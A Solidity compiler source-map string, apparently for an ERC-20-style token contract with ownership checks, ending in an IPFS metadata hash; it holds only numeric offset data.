;;;;;;:::i;:::-;-1:-1:-1;;;;;15509:42:3;-1:-1:-1;;;;;;;;;;;15547:3:3;15509:42;;;;1342:25:8;;1330:2;1315:18;;1196:177;15509:42:3;;;;;;;;15419:3;;;;:::i;:::-;;;;15375:188;;2487:104;2543:13;2576:7;2569:14;;;;;:::i;6843:436::-;6936:4;685:10:2;6936:4:3;7019:25;685:10:2;7036:7:3;7019:9;:25::i;:::-;6992:52;;7083:15;7063:16;:35;;7055:85;;;;-1:-1:-1;;;7055:85:3;;7069:2:8;7055:85:3;;;7051:21:8;7108:2;7088:18;;;7081:30;7147:34;7127:18;;;7120:62;-1:-1:-1;;;7198:18:8;;;7191:35;7243:19;;7055:85:3;;;;;;;;;7176:60;7185:5;7192:7;7220:15;7201:16;:34;7176:8;:60::i;3890:193::-;3969:4;685:10:2;4025:28:3;685:10:2;4042:2:3;4046:6;4025:9;:28::i;14575:119::-;14676:3;-1:-1:-1;;;;;14660:26:3;14669:5;-1:-1:-1;;;;;14660:26:3;-1:-1:-1;;;;;;;;;;;14681:4:3;14660:26;;;;1342:25:8;;1330:2;1315:18;;1196:177;14660:26:3;;;;;;;;14575:119;;;:::o;4146:151::-;-1:-1:-1;;;;;4262:18:3;;;4235:7;4262:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4146:151::o;2795:201:2:-;1782:13;:11;:13::i;:::-;-1:-1:-1;;;;;2884:22:2;::::1;2876:73;;;::::0;-1:-1:-1;;;2876:73:2;;7475:2:8;2876:73:2::1;::::0;::::1;7457:21:8::0;7514:2;7494:18;;;7487:30;7553:34;7533:18;;;7526:62;-1:-1:-1;;;7604:18:8;;;7597:36;7650:19;;2876:73:2::1;7273:402:8::0;2876:73:2::1;2960:28;2979:8;2960:18;:28::i;:::-;2795:201:::0;:::o;11296:380:3:-;-1:-1:-1;;;;;11432:19:3;;11424:68;;;;-1:-1:-1;;;11424:68:3;;7882:2:8;11424:68:3;;;7864:21:8;7921:2;7901:18;;;7894:30;7960:34;7940:18;;;7933:62;-1:-1:-1;;;8011:18:8;;;8004:34;8055:19;;11424:68:3;7680:400:8;11424:68:3;-1:-1:-1;;;;;11511:21:3;;11503:68;;;;-1:-1:-1;;;11503:68:3;;8287:2:8;11503:68:3;;;8269:21:8;8326:2;8306:18;;;8299:30;8365:34;8345:18;;;8338:62;-1:-1:-1;;;8416:18:8;;;8409:32;8458:19;;11503:68:3;8085:398:8;11503:68:3;-1:-1:-1;;;;;11584:18:3;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11636:32;;1342:25:8;;;11636:32:3;;1315:18:8;11636:32:3;1196:177:8;2061:132:2;1942:7;1969:6;-1:-1:-1;;;;;1969:6:2;685:10;2125:23;2117:68;;;;-1:-1:-1;;;2117:68:2;;8690:2:8;2117:68:2;;;8672:21:8;;;8709:18;;;8702:30;8768:34;8748:18;;;8741:62;8820:18;;2117:68:2;8488:356:8;11967:453:3;12102:24;12129:25;12139:5;12146:7;12129:9;:25::i;:::-;12102:52;;-1:-1:-1;;12169:16:3;:37;12165:248;;12251:6;12231:16;:26;;12223:68;;;;-1:-1:-1;;;12223:68:3;;9051:2:8;12223:68:3;;;9033:21:8;9090:2;9070:18;;;9063:30;9129:31;9109:18;;;9102:59;9178:18;;12223:68:3;8849:353:8;12223:68:3;12335:51;12344:5;12351:7;12379:6;12360:16;:25;12335:8;:51::i;:::-;12091:329;11967:453;;;:::o;7749:923::-;-1:-1:-1;;;;;7880:18:3;;7872:68;;;;-1:-1:-1;;;7872:68:3;;9409:2:8;7872:68:3;;;9391:21:8;9448:2;9428:18;;;9421:30;9487:34;9467:18;;;9460:62;-1:-1:-1;;;9538:18:8;;;9531:35;9583:19;;7872:68:3;9207:401:8;7872:68:3;-1:-1:-1;;;;;7959:16:3;;7951:64;;;;-1:-1:-1;;;7951:64:3;;9815:2:8;7951:64:3;;;9797:21:8;9854:2;9834:18;;;9827:30;9893:34;9873:18;;;9866:62;-1:-1:-1;;;9944:18:8;;;9937:33;9987:19;;7951:64:3;9613:399:8;7951:64:3;-1:-1:-1;;;;;8101:15:3;;8079:19;8101:15;;;:9;:15;;;;;;8135:21;;;;8127:72;;;;-1:-1:-1;;;8127:72:3;;10219:2:8;8127:72:3;;;10201:21:8;10258:2;10238:18;;;10231:30;10297:34;10277:18;;;10270:62;-1:-1:-1;;;10348:18:8;;;10341:36;10394:19;;8127:72:3;10017:402:8;8127:72:3;-1:-1:-1;;;;;8214:14:3;;;;;;:8;:14;;;;;;;;;:30;;-1:-1:-1;;;;;;8232:12:3;;;;;;:8;:12;;;;;;;;8214:30;8210:72;;;8254:15;;;;:23;;:15;:23;8246:36;;;;-1:-1:-1;;;8246:36:3;;10626:2:8;8246:36:3;;;10608:21:8;-1:-1:-1;10645:18:8;;;10638:29;10684:18;;8246:36:3;10424:284:8;8246:36:3;-1:-1:-1;;;;;8318:15:3;;;;;;;:9;:15;;;;;;8336:20;;;8318:38;;8536:13;;;;;;;;;;:23;;;;;;8588:26;;-1:-1:-1;;;;;;;;;;;8588:26:3;;;8350:6;1342:25:8;;1330:2;1315:18;;1196:177;8588:26:3;;;;;;;;8627:37;14044:193;3156:191:2;3230:16;3249:6;;-1:-1:-1;;;;;3266:17:2;;;-1:-1:-1;;;;;;3266:17:2;;;;;;3299:40;;3249:6;;;;;;;3299:40;;3230:16;3299:40;3219:128;3156:191;:::o;14:548:8:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:8;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:8:o;1378:367::-;1441:8;1451:6;1505:3;1498:4;1490:6;1486:17;1482:27;1472:55;;1523:1;1520;1513:12;1472:55;-1:-1:-1;1546:20:8;;1589:18;1578:30;;1575:50;;;1621:1;1618;1611:12;1575:50;1658:4;1650:6;1646:17;1634:29;;1718:3;1711:4;1701:6;1698:1;1694:14;1686:6;1682:27;1678:38;1675:47;1672:67;;;1735:1;1732;1725:12;1672:67;1378:367;;;;;:::o;1750:437::-;1836:6;1844;1897:2;1885:9;1876:7;1872:23;1868:32;1865:52;;;1913:1;1910;1903:12;1865:52;1953:9;1940:23;1986:18;1978:6;1975:30;1972:50;;;2018:1;2015;2008:12;1972:50;2057:70;2119:7;2110:6;2099:9;2095:22;2057:70;:::i;:::-;2146:8;;2031:96;;-1:-1:-1;1750:437:8;-1:-1:-1;;;;1750:437:8:o;2192:328::-;2269:6;2277;2285;2338:2;2326:9;2317:7;2313:23;2309:32;2306:52;;;2354:1;2351;2344:12;2306:52;2377:29;2396:9;2377:29;:::i;:::-;2367:39;;2425:38;2459:2;2448:9;2444:18;2425:38;:::i;:::-;2415:48;;2510:2;2499:9;2495:18;2482:32;2472:42;;2192:328;;;;;:::o;2714:186::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2865:29;2884:9;2865:29;:::i;:::-;2855:39;2714:186;-1:-1:-1;;;2714:186:8:o;2905:648::-;3018:6;3026;3034;3042;3050;3103:3;3091:9;3082:7;3078:23;3074:33;3071:53;;;3120:1;3117;3110:12;3071:53;3143:29;3162:9;3143:29;:::i;:::-;3133:39;;3223:2;3212:9;3208:18;3195:32;3250:18;3242:6;3239:30;3236:50;;;3282:1;3279;3272:12;3236:50;3321:70;3383:7;3374:6;3363:9;3359:22;3321:70;:::i;:::-;2905:648;;3410:8;;-1:-1:-1;3295:96:8;;3492:2;3477:18;;3464:32;;3543:2;3528:18;;;3515:32;;-1:-1:-1;2905:648:8;-1:-1:-1;;;;2905:648:8:o;3558:1088::-;3716:6;3724;3732;3740;3748;3756;3809:2;3797:9;3788:7;3784:23;3780:32;3777:52;;;3825:1;3822;3815:12;3777:52;3865:9;3852:23;3894:18;3935:2;3927:6;3924:14;3921:34;;;3951:1;3948;3941:12;3921:34;3990:70;4052:7;4043:6;4032:9;4028:22;3990:70;:::i;:::-;4079:8;;-1:-1:-1;3964:96:8;-1:-1:-1;4167:2:8;4152:18;;4139:32;;-1:-1:-1;4183:16:8;;;4180:36;;;4212:1;4209;4202:12;4180:36;4251:72;4315:7;4304:8;4293:9;4289:24;4251:72;:::i;:::-;4342:8;;-1:-1:-1;4225:98:8;-1:-1:-1;4430:2:8;4415:18;;4402:32;;-1:-1:-1;4446:16:8;;;4443:36;;;4475:1;4472;4465:12;4443:36;;4514:72;4578:7;4567:8;4556:9;4552:24;4514:72;:::i;:::-;3558:1088;;;;-1:-1:-1;3558:1088:8;;-1:-1:-1;3558:1088:8;;4605:8;;3558:1088;-1:-1:-1;;;3558:1088:8:o;4859:260::-;4927:6;4935;4988:2;4976:9;4967:7;4963:23;4959:32;4956:52;;;5004:1;5001;4994:12;4956:52;5027:29;5046:9;5027:29;:::i;:::-;5017:39;;5075:38;5109:2;5098:9;5094:18;5075:38;:::i;:::-;5065:48;;4859:260;;;;;:::o;5124:380::-;5203:1;5199:12;;;;5246;;;5267:61;;5321:4;5313:6;5309:17;5299:27;;5267:61;5374:2;5366:6;5363:14;5343:18;5340:38;5337:161;;5420:10;5415:3;5411:20;5408:1;5401:31;5455:4;5452:1;5445:15;5483:4;5480:1;5473:15;5337:161;;5124:380;;;:::o;5509:127::-;5570:10;5565:3;5561:20;5558:1;5551:31;5601:4;5598:1;5591:15;5625:4;5622:1;5615:15;5641:127;5702:10;5697:3;5693:20;5690:1;5683:31;5733:4;5730:1;5723:15;5757:4;5754:1;5747:15;5773:135;5812:3;5833:17;;;5830:43;;5853:18;;:::i;:::-;-1:-1:-1;5900:1:8;5889:13;;5773:135::o;5913:125::-;5978:9;;;5999:10;;;5996:36;;;6012:18;;:::i

ipfs://812ac67b226a38fc3c91d38d481697ff91259a41a4ae61841721ec3853cabc27